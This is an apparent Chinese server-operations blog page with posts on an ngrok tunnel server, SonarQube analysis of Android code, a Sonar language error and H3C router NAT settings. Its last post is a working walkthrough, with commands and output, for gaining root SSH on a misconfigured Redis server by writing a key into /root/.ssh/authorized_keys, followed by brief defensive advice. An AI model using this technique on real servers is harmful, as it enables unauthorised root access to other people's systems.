Rootop 服务器运维与web架构

2018-04-13
发表者 Venus
使用ngrok实现内网穿透已关闭评论

使用ngrok实现内网穿透

go官网:https://golang.org/dl/

# 安装 go 环境

[root@www ~]# wget -c https://dl.google.com/go/go1.10.1.linux-amd64.tar.gz
[root@www ~]# tar zxvf go1.10.1.linux-amd64.tar.gz
[root@www ~]# mv go /usr/local/

# 设置环境变量

[root@www ~]# vi /etc/profile
export PATH=$PATH:/usr/local/go/bin

# 生效

[root@www ~]# source /etc/profile

# 下载 ngrok 并解压

[root@www ~]# git clone https://github.com/inconshreveable/ngrok.git

# 生成自签名证书,并编译内置此证书的客户端

[root@www ~]# cd ngrok

NGROK_DOMAIN="ngrok.rootop.org"
openssl genrsa -out base.key 2048
openssl req -new -x509 -nodes -key base.key -days 10000 -subj "/CN=$NGROK_DOMAIN" -out base.pem
openssl genrsa -out server.key 2048
openssl req -new -key server.key -subj "/CN=$NGROK_DOMAIN" -out server.csr
openssl x509 -req -in server.csr -CA base.pem -CAkey base.key -CAcreateserial -days 10000 -out server.crt

# 替换证书

[root@www ngrok]# cp base.pem assets/client/tls/ngrokroot.crt

# 生成服务端 ngrokd,在bin目录下

[root@www ngrok]# make release-server

# 启动服务端

[root@www ngrok]# ./bin/ngrokd -tlsKey=server.key -tlsCrt=server.crt -domain="ngrok.rootop.org" -httpAddr=":8080" -httpsAddr=":8443"
略
[13:20:25 CST 2018/04/13] [INFO] (ngrok/log.Info:112) Listening for public http connections on [::]:8080
[13:20:25 CST 2018/04/13] [INFO] (ngrok/log.Info:112) Listening for public https connections on [::]:8443
[13:20:25 CST 2018/04/13] [INFO] (ngrok/log.Info:112) Listening for control and proxy connections on [::]:4443
httpAddr # 监听http端口 (转发此端口请求到客户端指定端口)
httpsAddr # 监听https端口 (转发此端口请求到客户端指定端口)
4443 端口用于服务端和客户端通信,可以用 -tunnelAddr=":1234" 指定

# 生成linux客户端,在bin目录下

[root@www ngrok]# make release-client

# 生成mac客户端,在bin目录下

[root@www ngrok]# GOOS=darwin GOARCH=amd64 make release-client

# 生成windows客户端,在bin目录下

[root@www ngrok]# GOOS=windows GOARCH=amd64 make release-client

然后在bin目录下会生成一个 windows_amd64 文件夹,是windows的客户端。下载下来。

# 创建客户端配置文件 ngrok.cfg

server_addr: "ngrok.rootop.org:4443"
trust_host_root_certs: false

在命令提示符,启动服务。
[code type="shell"]
C:\ngrok>ngrok.exe -config=ngrok.cfg -log=log.log -subdomain=abc 8080

-config指定配置文件 -log指定日志 -subdomain指定三级域名 加 本地端口
运行以后,出现下面字样就成功了。


这样,访问服务器的8080端口,就会访问到内网机器的8080.
根据提示来看,还有一个web查看界面。


需要注意:
服务端监听的端口需要放行。
三级域名需要解析。

2018-03-30
发表者 Venus
linux下sonar分析安卓代码已关闭评论

linux下sonar分析安卓代码

描述:
首先我这安卓项目是一个gradle项目,问开发类似于maven项目,可以直接用gradle打包。
而且不需要提前安装gradle,在代码中有配置下载gradle。
源码目录/gradle/wrapper/gradle/wrapper
#Mon Feb 05 11:27:19 CST 2018
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-4.1-all.zip
可以看到gradle下载

# 安装java1.8 下载并解压… 过程略
配置java环境变量

[root@localhost ~]# vi /etc/profile
export JAVA_HOME=/usr/local/jdk
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

保存退出。
做一个java软连接,android sdk会去/usr/bin/下找java命令

[root@localhost ~]# ln -s /usr/local/jdk/bin/java /usr/bin/java

# android sdk 安装、解压并配置环境变量 /etc/profile 解压略…
# sdk下载地址 http://tools.android-studio.org/index.php/sdk
# http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
# 配置环境变量

[root@localhost android-sdk-linux]# vi /etc/profile
export ANDROID_HOME=/usr/local/android-sdk-linux
export PATH=$ANDROID_HOME/tools:$PATH

生效

[root@localhost android-sdk-linux]# source /etc/profile

# 查看所有的sdk

[root@localhost ~]# android list sdk --all

# 更新 sdk

[root@localhost ~]# ./android update sdk --no-ui

会提示接受授权,按Y回车。开始更新。

# 配置安卓源码下的 build.gradle 文件加入sonar插件

// Top-level build file where you can add configuration options common to all sub-projects/modules.

buildscript {
 repositories {
 jcenter()
 }
 dependencies {
 classpath 'com.android.tools.build:gradle:2.2.3'
 classpath 'com.jakewharton:butterknife-gradle-plugin:8.4.0'
 // NOTE: Do not place your application dependencies here; they belong
 // in the individual module build.gradle files
 }
}

// 下面是新加的 位置必须在buildscript{}下 注意sonar版本,结尾补充。
plugins {
 id "org.sonarqube" version "2.4"
}

apply plugin: 'org.sonarqube'

sonarqube {
 properties {
 property "sonar.projectName", "aladinn-v3-android"
 property "sonar.projectKey", "aladinn-v3-android"
 }
}
// 上面是新加的

allprojects {
 repositories {
 jcenter()
 maven { url "https://jitpack.io" }
 maven { url "https://maven.google.com" }
 }
}

task clean(type: Delete) {
 delete rootProject.buildDir
}
ext {

 supportVersion = '26.0.2'
}

# 配置安卓源码下的 gradle.properties 加入sonar服务器的配置

systemProp.sonar.host.url=http://sonar.xxx.com
systemProp.sonar.login=admin
systemProp.sonar.password=admin

# 在安卓源码下创建 sonar-project.properties 配置文件

# projectKey、projectName修改成你的项目名称
sonar.projectKey=aladinn-v3-android
sonar.projectName=aladinn-v3-android
sonar.projectVersion=1.0
# src---------修改成你的源文件夹路径,多个路径逗号隔开
sonar.sourceEncoding=UTF-8
sonar.sources=app/src/main/java
sonar.java.source=app/src/main/java
# binDir--------修改成你的二进制文件夹路径
sonar.binaries=app/build/intermediates/classes
sonar.profile=Sonar and Android Lint way
sonar.java.binaries=app/build/intermediates/classes
sonar.android.lint.report=app/build/outputs/lint-results-release-fatal.xml

这样3个配置文件配置好了,开始分析

[root@localhost aladinn-v3-android]# ./gradlew sonarqube --stacktrace

报错:

Warning: License for package Android SDK Build-Tools 26.0.2 not accepted.

FAILURE: Build failed with an exception.

* What went wrong:
A problem occurred configuring project ':app'.
> You have not accepted the license agreements of the following SDK components:
 [Android SDK Build-Tools 26.0.2]

这里有可能没有26.0.2的sdk

[root@localhost aladinn-v3-android]# android list sdk --all | grep "26.0.2"
 9- Android SDK Build-tools, revision 26.0.2
可以看到序号是<strong>9</strong>,安装它。

[root@localhost aladinn-v3-android]# android update sdk -u -a -t 9
-u是在命令行运行,-a所有 -t过滤,可以指定安装序号。多个用逗号分隔

# 再次执行上面分析命令 –stacktrace为了输出更多错误信息,方便排错。

[root@localhost aladinn-v3-android]# ./gradlew sonarqube --stacktrace

又报错:
Warning: License for package Android SDK Build-Tools 25.0.2 not accepted.

FAILURE: Build failed with an exception.

* What went wrong:
A problem occurred configuring project ':app'.
> Could not resolve all dependencies for configuration ':app:_debugApk'.
 > A problem occurred configuring project ':autoLayoutLib'.
 > You have not accepted the license agreements of the following SDK components:
 [Android SDK Build-Tools 25.0.2].
 Before building your project, you need to accept the license agreements and complete the installation of the missing components using the Android Studio SDK Manager.
 Alternatively, to learn how to transfer the license agreements from one workstation to another, go to http://d.android.com/r/studio-ui/export-licenses.html

这次提示 25.0.2 版本,还是搜索,再安装它。

[root@localhost aladinn-v3-android]# android list sdk --all | grep "25.0.2"
 13- Android SDK Build-tools, revision 25.0.2
[root@localhost aladinn-v3-android]# android update sdk -u -a -t 13

# 再次执行上面分析命令

[root@localhost aladinn-v3-android]# ./gradlew sonarqube --stacktrace

然后可喜可贺的就出现 BUILD SUCCESSFUL 了。

sonar服务器中也出现了代码分析结果。

注意:
可能会遇到sonar服务器返回500的错误,原因可能出现在mysql的 max_allowed_packet= 参数上。
我这里直接配置参数为max_allowed_packet=100M
改完重启mysql,重启sonar服务器

关于注意sonar插件版本问题:
开始用2.2版本插件,分析失败,换2.6版本也提示失败。
2.6的报错为:
* Exception is:
java.lang.NoSuchMethodError: com.android.build.gradle.api.ApkVariant.getCompileClasspath(Ljava/lang/Object;)Lorg/gradle/api/file/FileCollection;

提示没有这个方法。怀疑是sonar版本问题,降为2.5还是不行,最后用2.4成功。
具体的gradle和sonar版本对应关系没找到。如果提示类似错误,可以更改版本试试。
支持的版本:https://jcenter.bintray.com/org/sonarsource/scanner/gradle/sonarqube-gradle-plugin/

2018-03-21
发表者 Venus
You must install a plugin that supports the language ‘Python’已关闭评论

You must install a plugin that supports the language ‘Python’

alading@venus-pc MINGW64 ~/Desktop/mail
$ /d/搜狗高速下载/sonar-scanner-3.0.3.778-windows/bin/sonar-scanner.bat
·
·
·
Caused by: You must install a plugin that supports the language ‘Python’
16:23:55.232 DEBUG: Execution getVersion
16:23:55.232 DEBUG: Execution stop

提示错误 You must install a plugin that supports the language ‘Python’,开始以为大小写问题,改成python也不行。
后来在sonarQube后台看到,配置 – 点 python ,有句话:Comma-separated list of suffixes of Python files to analyze.
意思是对指定后缀名的文件进行分析

然后在 sonar-project.properties 中修改:
sonar.language=py
再执行分析就好了。

2018-03-13
发表者 Venus
h3c路由配置回流 内网通过外网ip加端口访问内部服务已关闭评论

h3c路由配置回流 内网通过外网ip加端口访问内部服务

产品型号:MSR830-5BEI
Boot ROM版本:1.41
软件版本:7.1.064 Release 0605P05

# 进入系统视图下

<H3C>system-view
System View: return to User View with Ctrl+Z.

# 查看所有acl

[H3C]show acl all

# 基本acl(这里不用) 注意basic和advanced区别

[H3C]acl basic 2000

# 高级acl(此处用)

[H3C]acl advanced 3001
[H3C-acl-ipv4-adv-3001]rule 0 permit ip source 192.168.0.0 0.0.15.255 # 这里要用反掩码
[H3C-acl-ipv4-adv-3001]exit

[H3C]show acl all
Basic IPv4 ACL 2000, 0 rule,
ACL's step is 5

Advanced IPv4 ACL 3001, 1 rule,
ACL's step is 5
 rule 0 permit ip source 192.168.0.0 0.0.15.255

# 卸载掉acl 2000这条

[H3C]no acl basic 2000
[H3C]show acl all
Advanced IPv4 ACL 3001, 1 rule,
ACLs step is 5
 rule 0 permit ip source 192.168.0.0 0.0.15.255

# 查看当前所有vlan

[H3C]show vlan
 Total VLANs: 1
 The VLANs include:
 1(default)
[H3C]show vlan 1
 VLAN ID: 1
 VLAN type: Static
 Route interface: Configured
 IPv4 address: 192.168.1.1
 IPv4 subnet mask: 255.255.240.0
 Description: VLAN 0001
 Name: VLAN 0001
 Tagged ports: None
 Untagged ports:
 GigabitEthernet0/2 GigabitEthernet0/3
 GigabitEthernet0/4

# 进入vlan1

[H3C]interface Vlan-interface 1 # vlan1是我网关地址
[H3C-Vlan-interface1]nat server protocol tcp global 27.223.85.xxx 1025 inside 192.168.10.23 80 # 内网nat映射
[H3C-Vlan-interface1]nat outbound 3001 # 绑定acl 3001

# 卸载一条vlan中的nat映射

[H3C-Vlan-interface1]no nat server protocol tcp global 27.223.85.xxx 3333 # 后面的内网信息不用写

2018-03-09
发表者 Venus
利用Redis配置不当的漏洞对linux服务器root提权体验已关闭评论

利用Redis配置不当的漏洞对linux服务器root提权体验

文章来自:https://www.huangdc.com/443 修改并整理

redis安装后默认没有访问密码,但是默认监听在127.0.0.1地址,远程客户端无法远程访问。暂无法构成威胁。
如果监听在0.0.0.0的话,就可以利用下面“漏洞”了。

原理就是修改redis的持久化文件路径及数据文件实现秘钥连接。
有一个前提条件是 redis必须是用root用户启动的(才有权限往/root/.ssh写)。

# 运行ssh-keygen -t rsa生成秘钥 将公钥保存到另外一个文件 mypubkey.txt

[root@vm200-78 ~]# ssh-keygen -t rsa
[root@vm200-78 ~]# ll /root/.ssh/
总计 12
-rw------- 1 root root 1675 07-19 16:56 id_rsa
-rw-r--r-- 1 root root 405 07-19 16:56 id_rsa.pub
-rw-r--r-- 1 root root 1974 2015-11-18 known_hosts

# 加换行,目的是为了形成正确的秘钥文件格式 (据我所知应该是一行一个公钥)。

[root@vm200-78 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub;echo -e "\n") > mypubkey.txt
[root@vm200-78 ~]# cat mypubkey.txt
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvZGEjiEH+TlsvM+wctETOyF9A6QobMteoR47LYk6KFKwcHBvSdJs5UEp62Z9pZWpqaew8d8SV/d9FzhOrNilMXndpjZBDwQmq11MWforei4VPGF8UVUO4o4oleUkg3H7wGrXBQHEOLZnMCQSdql+Xe8eHUqXAMYoU+a6QPz1dEqF4/6r0n+f2QUMt+gTadg8ZiHTvyx5HI9ZCTuGJ8ulNG/qwd1KsOaJJgdFNq5OYg4izV1U6JnGju9yOFWNYtWrGUAAbH0Pv9ylmRq+4R2xdj5iEbXma2VTZsMl6XPx12ZXJCcdS4u8NJExTgCjMRvB01UyFva3pETdgNDOF5fM6Q== root@vm200-78.boyaa.com

# 在远程服务器 192.168.203.78 将公钥以key值的形式写入redis

[root@vm200-78 ~]# cat mypubkey.txt |redis-cli -h 192.168.203.224 -p 6379 -x set mypubkey
OK
[root@vm200-78 ~]# redis-cli -h 192.168.203.224 -p 6379
redis 192.168.203.224:6379> keys *
1) "mypubkey"
2) "huangdc"
redis 192.168.203.224:6379> get mypubkey
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvZGEjiEH+TlsvM+wctETOyF9A6QobMteoR47LYk6KFKwcHBvSdJs5UEp62Z9pZWpqaew8d8SV/d9FzhOrNilMXndpjZBDwQmq11MWforei4VPGF8UVUO4o4oleUkg3H7wGrXBQHEOLZnMCQSdql+Xe8eHUqXAMYoU+a6QPz1dEqF4/6r0n+f2QUMt+gTadg8ZiHTvyx5HI9ZCTuGJ8ulNG/qwd1KsOaJJgdFNq5OYg4izV1U6JnGju9yOFWNYtWrGUAAbH0Pv9ylmRq+4R2xdj5iEbXma2VTZsMl6XPx12ZXJCcdS4u8NJExTgCjMRvB01UyFva3pETdgNDOF5fM6Q== root@vm200-78.boyaa.com\n\n\n"

# 查看当前 redis数据存放目录

redis 192.168.203.224:6379> config get dir
1) "dir"
2) "/data/nosql/redis_6379"

# 修改 redis 数据存放目录

redis 192.168.203.224:6379> config set dir /root/.ssh/
OK

# 查看 redis 数据存放文件

redis 192.168.203.224:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"

# 修改redis数据存放文件

redis 192.168.203.224:6379> config set dbfilename "authorized_keys"
OK

# 保存 key

redis 192.168.203.224:6379> save
OK

# 恢复原先redis配置

redis 192.168.203.224:6379> config set dir "/data/nosql/redis_6379"
OK
redis 192.168.203.224:6379> config set dbfilename "dump.rdb"
OK
redis 192.168.203.224:6379> save
OK

## 这样就把公钥写进目标主机的/root/.ssh下,并且名称为 authorized_keys,这样就完成了远程无密码访问了

防范方法:
1、根据需求绑定127.0.0.1或者0.0.0.0
2、redis加密码访问
3、普通用户启动redis
4、修改默认redis端口,防止批量扫描